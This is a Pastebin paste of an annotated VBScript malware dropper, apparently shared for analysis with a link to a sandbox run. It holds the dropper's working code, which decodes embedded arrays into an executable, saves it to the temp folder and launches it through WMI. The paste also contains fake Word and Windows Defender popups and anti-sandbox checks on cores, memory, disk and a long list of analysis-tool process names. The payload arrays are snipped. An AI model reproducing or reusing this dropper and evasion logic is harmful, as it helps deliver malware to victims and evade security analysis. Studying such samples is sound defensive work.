ps66uk

vbs-decode

Aug 29th, 2019
2,596
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 12.55 KB | None | 0 0
  1. //full sample in https://app.any.run/tasks/c25c082c-7712-4e62-80f1-bdea4d1e6953/
  2. //and https://pastebin.com/c0bFqB83
  3.  
  4. // block of arrays snipped
  5. .
  6. .
  7. .
  8.  
  9. //this section renames the arrays from above
  10. LTGogLwjFf = EaKtteX
  11. PzXVYC = gzHuJzgYUe
  12. MytMMIUj = uIabfRjRKH
  13. zqVwsMYFP = FDZOhyQaFl
  14. OfpYCQBz = kcmwdueszi
  15. RWULNJYfNU = GgUAbnaP
  16. RXlgQeJKi = ejESLAxKfy
  17. VjjkkfpdN = nsKSeZYg
  18. UfaCHF = WhDJjXxV
  19. ivWVxdXGk = rmHaGhbsPG
  20. usVQEC = JLxSdpu
  21. FBLqXG = JXrbOq
  22. hWKbQz = DUfaZDlzn
  23. vbZukXE = VWGjtr
  24. LejZgQG = ZyIuWe
  25. jZWTcsX = oIFfucVB
  26. IynXcPAt = iJLCLxqiGw
  27. lzlnlJB = VScSEX
  28. lHIOGj = XJJeOtWrna
  29. xlFtoy = ilMXhTB
  30. wXzVHoT = LxMJqmV
  31. LAUUMcmF = pzRBLxlK
  32. cYAEZdPp = OBsvvmqtd
  33. DkvTtrEhE = OqNQvYogYR
  34. rCpbGjwADJ = zTwBWt
  35. KEBybBm = ZtxvtAa
  36. DcxZoyI = ysLrBpUmf
  37. tsObzOtGhv = HDJYQH
  38. DbuGdDX = XJcHMjMOqt
  39. jdtFpc = oNwwEZh
  40. wQTFXgY = opvhAX
  41. pJEszL = rRunjXeE
  42. DmHcbP = ZSYcelKIU
  43.  
  44. //decoding function using the CONST defined at bottom
  45. fUNctIOn mlQnGb(zaqIAdtayJ)
  46.     ZnjjgeFvDx = 0
  47.     XzVYLFB = ""
  48.     Do wHIlE ZnjjgeFvDx = < UBOUnd(zaqIAdtayJ)
  49.     XzVYLFB = XzVYLFB + ChrW(zaqIAdtayJ(ZnjjgeFvDx) - 61)
  50.     ZnjjgeFvDx = ZnjjgeFvDx + 1
  51.     loOp
  52.     mlQnGb = XzVYLFB
  53. enD fUNctIOn
  54.  
  55.  
  56. fUNctIOn HNrrPohP(zaqIAdtayJ)
  57.     if zaqIAdtayJ = 1 TheN
  58.     zaqIAdtayJ = 2
  59.     else
  60.     zaqIAdtayJ = 1
  61.     enD if
  62.     IKEOHo = WScript.CReATeObjECT("Scripting.FileSystemObject").geTsPecIalFoLDEr(zaqIAdtayJ)
  63.     HNrrPohP = CStr(IKEOHo) + "\"
  64. enD fUNctIOn
  65.  
  66. // create/check marker file
  67. fUNctIOn VsSroV()
  68.     DIM HFjKhoc
  69.     set HFjKhoc = CReATeObjECT("Scripting.FileSystemObject")
  70.     if (HFjKhoc.fIleeXisTS(HNrrPohP(1) + "kwaOcRHq"))  TheN
  71.     wscRipT.quIT
  72.     else With HFjKhoc.createTextFile(HNrrPohP(1) + "kwaOcRHq")
  73.     .Write("yvzklleh")
  74.     .close
  75.     enD With
  76.     enD if
  77. enD fUNctIOn
  78.  
  79. // decode/write payload from arrays above
  80. fUNctIOn pdjrgmIW()
  81.     DIM duUZkQri
  82.     DIM mAcAZSZ
  83.     set duUZkQri = CReATeObjECT(ADODB.Stream)
  84.     set mAcAZSZ = CReATeObjECT(ADODB.Stream)
  85.     duUZkQri.Type = 2
  86.     duUZkQri.OpEn()
  87.     njEXypQQW = ARraY(LTgoGlwjFF, pzXVyc, mytmMiUJ, ZqvwsMyFp, ofpYcQbz, RWULNJyfNU, RxLgQeJKi, VjJKkfpDN, UFaChf, ivwvxDxGK, USVQec, FBlQXg, hWkbqz, vbZuKxe, lEjzGQG, jzWtcsX, IYnxCPAT, lzlnljB, lHIogJ, xlftOY, WxZVHOt, LaUUMCMF, cyAeZDpp, DkvTtrEhe, RcPBGJWadj, KebYbbM, DcxZOyi, TsOBzOtGhv, DbUGDDx, jdTFpC, WqTFXgy, pJESzL, dMhCbP)
  88.     For Each File in njEXypQQW
  89.     duUZkQri.wRitetExT mlQnGb(File)
  90.     NeXT
  91.     duUZkQri.Position = 0
  92.     mAcAZSZ.Type = 2
  93.     mAcAZSZ.Charset = "ISO-8859-1"
  94.     mAcAZSZ.OpEn()
  95.     duUZkQri.cOpYtO(mAcAZSZ)
  96.     mAcAZSZ.saVetoFiLe HNrrPohP(1) + "LbAeBeM.exe", 2
  97.     duUZkQri.close()
  98.     mAcAZSZ.close()
  99. enD fUNctIOn
  100.  
  101. // random message to slow analysis
  102. fUNctIOn vltBnKtEE()
  103.     xjLQFLXXrC = NOw()
  104.     uYLfpH = CReATeObjECT(WScript.Network).UserName
  105.     QFVdCzIzfc = mSgbox("User " + uYLfpH + "An unexpected error has occurred. You request cannot be processed at this time. Please try again later. (0x836505785)", vbSystemModal + vbExclamation, "MS Word")
  106.     fpxSupp = NOw()
  107.     if DATedIfF(mlQnGb(Array(g5)), xjLQFLXXrC, fpxSupp) < 2 TheN
  108.     NCnlcRd
  109.     enD if
  110. enD fUNctIOn
  111.  
  112. // random message to slow analysis
  113. fUNctIOn vltBnKtEE2()
  114.     xjLQFLXXrC = NOw()
  115.     uYLfpH = CReATeObjECT(WScript.Network).UserName
  116.     QFVdCzIzfc = mSgbox("File 0x836505785 checked, no malicious activity detected! ", vbSystemModal + vbInformation, "Windows Defender")
  117.     fpxSupp = NOw()
  118.     if DATedIfF(mlQnGb(Array(g5)), xjLQFLXXrC, fpxSupp) < 2 TheN
  119.     NCnlcRd
  120.     enD if
  121. enD fUNctIOn
  122.  
  123. // run payload
  124. fUNctIOn RlYBzEfO()
  125.     set LQiSDvN = getOBjEct("winmgmts:Win32_Process")
  126.     LQiSDvN.Create HNrrPohP(1) + "LbAeBeM.exe", null, null, processid
  127. enD fUNctIOn
  128.  
  129. fUNctIOn hAtgPLDZwG()
  130.     VsSroV
  131.     pdjrgmIW
  132.     RlYBzEfO
  133. enD fUNctIOn
  134.  
  135. // wait function
  136. fUNctIOn NCnlcRd()
  137.     ZnjjgeFvDx = 61
  138.     XzVYLFB = 836505785
  139.     Do wHIlE ZnjjgeFvDx < 5046157
  140.     if (ZnjjgeFvDx = 5046157)  TheN
  141.     wscRipT.quIT
  142.     else enD if
  143.     if (ZnjjgeFvDx = 5045940)  TheN
  144.     XzVYLFB = XzVYLFB + 1+61
  145.     else enD if
  146.     ZnjjgeFvDx = ZnjjgeFvDx + 1
  147.     loOp
  148.     if (XzVYLFB = 836505785)  TheN
  149.     VoPyloUugTNSLHR = 76
  150.     NCnlcRd
  151.     enD if
  152. enD fUNctIOn
  153.  
  154. // processor count check
  155. fUNctIOn oNVTre()
  156.     ECmYgVr = 0
  157.     set LQiSDvN = getOBjEct("winmgmts:\\.\root\cimv2")
  158.     set maHiCdNgJ = LQiSDvN.ExecQuery("Select * from Win32_Processor", , 48)
  159.     For Each RUqTtIFO In maHiCdNgJ
  160.     if RUqTtIFO.NumberOfCores < 3 TheN
  161.     ECmYgVr = True
  162.     enD if
  163.     NeXT
  164.     if ECmYgVr TheN
  165.     NCnlcRd
  166.     NCnlcRd
  167.     else FzRVVeIxhUfRAbJRukeLZf = 73
  168.     enD if
  169. enD fUNctIOn
  170.  
  171. // anti-analysis checks
  172. fUNctIOn NtcpEnhq()
  173.     EFfLttPZRuBmDOaxqXM = 17
  174.     DmagdOrPy = "cis.exe", "cmdvirth.exe", "alive.exe", "filewatcherservice.exe", "ngvmsvc.exe", "sandboxierpcss.exe", "analyzer.exe", "fortitracer.exe", "nsverctl.exe", "sbiectrl.exe", "angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","cff explorer.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe", "qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","filemon.exe","netsniffer.exe","sandboxie.com","launch.exe")
  175.     set LQiSDvN = getOBjEct("winmgmts:\\.\root\cimv2")
  176.     set maHiCdNgJ = LQiSDvN.ExecQuery("Select * from Win32_Processor")
  177.     For Each RUqTtIFO In maHiCdNgJ
  178.     For Each GyIlWhxMD In DmagdOrPy
  179.     if RUqTtIFO.Name = GyIlWhxMD TheN
  180.     NCnlcRd
  181.     enD if
  182.     NeXT
  183.     NeXT
  184. enD fUNctIOn
  185.  
  186. // file count check
  187. fUNctIOn FTJdmYOm()
  188.     if CReATeObjECT("Scripting.FileSystemObject").GetFolder(HNrrPohP(1)).Files.Count < 1 TheN
  189.     NCnlcRd
  190.     NCnlcRd
  191.     else enD if
  192. enD fUNctIOn
  193.  
  194.  
  195. // memory size check
  196. fUNctIOn UvuuEE()
  197.     set LQiSDvN = getOBjEct("winmgmts:\\.\root\cimv2")
  198.     set maHiCdNgJ = LQiSDvN.ExecQuery("Select * from Win32_ComputerSystem")
  199.     For Each RUqTtIFO In maHiCdNgJ
  200.     trQCYmYY = trQCYmYY + Int((RUqTtIFO.TotalPhysicalMemory)  /  1048576) + 1
  201.     NeXT
  202.     if trQCYmYY < 1024 TheN
  203.     NCnlcRd
  204.     NCnlcRd
  205.     enD if
  206. enD fUNctIOn
  207.  
  208. // disk size check
  209. fUNctIOn CBWYiVOXY()
  210.     set LQiSDvN = getOBjEct("winmgmts:\\.\root\cimv2")
  211.     set maHiCdNgJ = LQiSDvN.ExecQuery("Select * from Win32_LogicalDisk")
  212.     For Each RUqTtIFO In maHiCdNgJ
  213.     trQCYmYY = trQCYmYY + Int(RUqTtIFO.Size  /  1073741824)
  214.     NeXT
  215.     if trQCYmYY < 60 TheN
  216.     NCnlcRd
  217.     NCnlcRd
  218.     enD if
  219. enD fUNctIOn
  220.  
  221.  
  222. FTJdmYOm
  223. vltBnKtEE2
  224. vltBnKtEE
  225. UvuuEE
  226. NtcpEnhq
  227. oNVTre
  228. CBWYiVOXY
  229. hAtgPLDZwG
  230.  
  231. conST m8 = 262
  232. CONST mM8 = 511
  233. COnST O1 = 172
  234. cOnST u9 = 259
  235. coNst a8 = 264
  236. ConSt Aa8 = 302
  237. CoNST p6 = 185
  238. CONSt E1 = 93
  239. CoNSt W6 = 82
  240. cONSt wW6 = 287
  241. COnST n9 = 267
  242. cONst nn9 = 275
  243. ConSt v2 = 206
  244. CoNst G4 = 110
  245. COnsT Q9 = 311
  246. conSt Qq9 = 387
  247. CoNST H7 = 260
  248. cOnST u2 = 156
  249. coNsT uu2 = 227
  250. cONST W9 = 253
  251. cONSt Q4 = 191
  252. CONsT z7 = 308
  253. CoNsT I1 = 228
  254. coNsT ii1 = 244
  255. CONsT A5 = 305
  256. cONst v5 = 62
  257. cOnST x5 = 220
  258. ConST F3 = 151
  259. CONsT C8 = 125
  260. coNST D2 = 67
  261. cONST d8 = 313
  262. CoNSt u7 = 234
  263. conSt h6 = 75
  264. cOnST U = 83
  265. CoNSt uU = 267
  266. CONst r = 269
  267. CONST A4 = 229
  268. ConsT U4 = 118
  269. ConSt Y4 = 63
  270. CoNsT v = 271
  271. ConSt VV = 357
  272. cONst k8 = 95
  273. CoNST Kk8 = 222
  274. coNsT E5 = 266
  275. CONSt M3 = 294
  276. Const n4 = 71
  277. cONsT e6 = 224
  278. ConsT t5 = 265
  279. consT z8 = 235
  280. cONSt R6 = 291
  281. COnSt Y3 = 146
  282. ConST yY3 = 161
  283. ConSt B1 = 290
  284. CONSt v9 = 201
  285. cOnSt w2 = 158
  286. cOnSt ww2 = 255
  287. CONsT a2 = 226
  288. COnst c6 = 109
  289. cOnST Cc6 = 224
  290. cONSt V4 = 141
  291. coNST P8 = 104
  292. COnsT D4 = 66
  293. CoNSt dD4 = 190
  294. Const E = 200
  295. COnSt K1 = 131
  296. coNst kK1 = 356
  297. coNst t2 = 289
  298. coNSt x1 = 170
  299. consT v7 = 68
  300. CONST P2 = 108
  301. cONst w8 = 115
  302. ConsT wW8 = 149
  303. ConsT i4 = 77
  304. CONsT L1 = 214
  305. cOnSt L5 = 155
  306. conSt LL5 = 194
  307. CoNSt B5 = 149
  308. ConST z4 = 121
  309. cOnSt T6 = 78
  310. cONsT H1 = 198
  311. cONst J3 = 122
  312. coNST L4 = 227
  313. COnST F1 = 246
  314. coNst k6 = 307
  315. conST g = 256
  316. COnSt L = 89
  317. cONSt LL = 316
  318. coNSt I8 = 85
  319. COnsT j9 = 207
  320. COnSt B3 = 163
  321. CoNSt w4 = 177
  322. coNsT j2 = 232
  323. COnSt K5 = 184
  324. CONst i9 = 139
  325. CONst n1 = 252
  326. cONst S2 = 213
  327. cOnst l2 = 74
  328. COnSt Z6 = 270
  329. COnsT P3 = 132
  330. COnST p7 = 243
  331. cONsT l6 = 222
  332. cONst u6 = 152
  333. coNST s = 190
  334. coNst C7 = 102
  335. CoNSt Z1 = 76
  336. cONSt x9 = 134
  337. consT Y2 = 117
  338. CONst f8 = 106
  339. ConSt d6 = 208
  340. coNSt Dd6 = 416
  341. coNSt S7 = 196
  342. Const M4 = 241
  343. CoNsT j8 = 126
  344. coNSt jJ8 = 298
  345. cONst m6 = 188
  346. cOnST mM6 = 315
  347. Const A3 = 315
  348. cOnst L3 = 135
  349. CONsT y = 137
  350. coNsT W3 = 231
  351. cOnsT N8 = 178
  352. COnST l7 = 171
  353. coNsT X6 = 61
  354. CONSt xX6 = 269
  355. coNsT e4 = 94
  356. const d3 = 199
  357. conST dD3 = 273
  358. cONSt U3 = 129
  359. conST Uu3 = 242
  360. cOnsT p5 = 257
  361. cOnST X = 301
  362. cONsT H4 = 261
  363. cOnST hH4 = 503
  364. COnst M = 316
  365. consT G1 = 123
  366. ConsT W7 = 300
  367. CoNSt M7 = 87
  368. CoNST Mm7 = 130
  369. coNsT i6 = 80
  370. cOnST Q2 = 120
  371. CONst k2 = 258
  372. CoNst O7 = 127
  373. conST oo7 = 314
  374. cOnst U5 = 230
  375. cOnst r9 = 299
  376. CoNSt e8 = 169
  377. CoNst eE8 = 420
  378. cONSt S3 = 303
  379. COnSt g9 = 98
  380. cONSt gG9 = 269
  381. CoNsT t7 = 296
  382. coNst S6 = 279
  383. cONSt i = 73
  384. consT B7 = 275
  385. cOnst S4 = 145
  386. cONST B8 = 148
  387. coNsT B = 112
  388. COnST h8 = 143
  389. CoNsT p = 312
  390. ConST PP = 527
  391. CONSt t3 = 225
  392. cONSt A = 202
  393. conST y5 = 215
  394. CONSt P1 = 219
  395. COnST q1 = 119
  396. ConST h3 = 88
  397. coNSt n6 = 65
  398. CONST nN6 = 121
  399. ConSt H = 250
  400. CONSt d1 = 293
  401. coNst e2 = 205
  402. COnST Z3 = 297
  403. cONst n3 = 223
  404. cONsT J = 90
  405. ConSt Jj = 138
  406. ConST x2 = 278
  407. cOnsT O2 = 183
  408. CoNSt e7 = 255
  409. ConST eE7 = 475
  410. ConSt s5 = 99
  411. CONst SS5 = 313
  412. CoNsT P4 = 162
  413. cOnsT G3 = 111
  414. CONST GG3 = 203
  415. COnST O8 = 204
  416. consT J1 = 147
  417. CoNst F9 = 284
  418. cONSt C9 = 281
  419. ConST R3 = 240
  420. ConsT rr3 = 376
  421. COnST b9 = 292
  422. CoNsT q5 = 92
  423. cONst z = 276
  424. cONsT Zz = 410
  425. COnSt o9 = 142
  426. cONSt M5 = 157
  427. ConsT K7 = 210
  428. CONSt f5 = 179
  429. CONst N5 = 166
  430. coNST nN5 = 358
  431. const a9 = 100
  432. COnst s8 = 209
  433. CONSt C5 = 124
  434. cONsT r2 = 306
  435. coNst R1 = 298
  436. CoNSt I2 = 154
  437. coNsT Q = 263
  438. COnSt Qq = 402
  439. coNst x4 = 239
  440. CONSt O4 = 251
  441. cOnst Oo4 = 365
  442. cONsT r7 = 114
  443. Const h5 = 168
  444. CoNST x8 = 72
  445. CoNst B2 = 153
  446. const Z5 = 309
  447. COnsT U8 = 81
  448. CoNST k9 = 193
  449. const I3 = 138
  450. COnsT U1 = 314
  451. CONST X3 = 195
  452. cOnST P9 = 160
  453. CONst A6 = 159
  454. conSt k4 = 244
  455. CONSt KK4 = 466
  456. cONsT v1 = 254
  457. CoNsT H2 = 288
  458. ConST HH2 = 482
  459. cONst v6 = 180
  460. cOnST F6 = 212
  461. conST Ff6 = 311
  462. COnsT F2 = 64
  463. CoNST v3 = 133
  464. conST n = 295
  465. CoNsT nn = 391
  466. cONsT A1 = 97
  467. coNst AA1 = 126
  468. COnsT o = 140
  469. cONST d5 = 113
  470. COnSt b4 = 274
  471. COnSt bb4 = 337
  472. cONSt W = 247
  473. ConsT o5 = 101
  474. cONST n7 = 174
  475. COnST G8 = 286
  476. COnsT Gg8 = 471
  477. coNSt Y1 = 280
  478. conST F = 79
  479. ConSt e9 = 70
  480. CONsT o3 = 272
  481. CONST Q6 = 161
  482. CoNSt QQ6 = 238
  483. cONsT J5 = 211
  484. CONST i7 = 233
  485. CONSt Z9 = 216
  486. ConsT h9 = 283
  487. const W5 = 186
  488. cOnST M2 = 173
  489. ConSt D7 = 221
  490. cOnST F4 = 187
  491. coNsT V8 = 203
  492. consT z2 = 182
  493. coNST Zz2 = 381
  494. ConSt F7 = 302
  495. cONST X7 = 150
  496. cONSt R5 = 304
  497. CoNsT C3 = 287
  498. ConST T1 = 237
  499. coNst q8 = 285
  500. CONst g5 = 176
  501. cONST Gg5 = 252
  502. conST Q7 = 69
  503. cOnsT qq7 = 95
  504. cONSt S1 = 189
  505. ConsT t8 = 236
  506. conST TT8 = 333
  507. CoNst J4 = 167
  508. COnsT e3 = 128
  509. CoNst Ee3 = 317
  510. cONST B6 = 165
  511. Const O6 = 181
  512. CONST J7 = 238
  513. ConSt jJ7 = 238
  514. CoNst r8 = 282
  515. cONsT C2 = 84
  516. ConsT S9 = 273
  517. CONST l8 = 136
  518. Const C1 = 175
  519. cOnsT CC1 = 303
  520. cONst g6 = 194
  521. CONST M1 = 217
  522. CONSt w1 = 103
  523. CoNst a7 = 192
  524. COnSt D9 = 144
  525. COnsT k = 310
  526. Const G7 =   105
  527. coNsT C = 197
  528. Const M9 = 249
  529. CONST r4 = 245
  530. cONSt d = 107
  531. ConSt dD = 286
  532. consT k3 = 86
  533. CONST J6 = 242
  534. CoNSt t9 = 130
  535. conSt tT9 = 217
  536. const q3 = 164
  537. coNsT T4 = 268
  538. cOnSt g2 = 277
  539. COnsT C4 = 248
  540. ConsT i5 = 96
  541. cONst L9 = 218
  542. coNSt n2 = 91
  543. cOnsT t = 116
Add Comment
Please, Sign In to add comment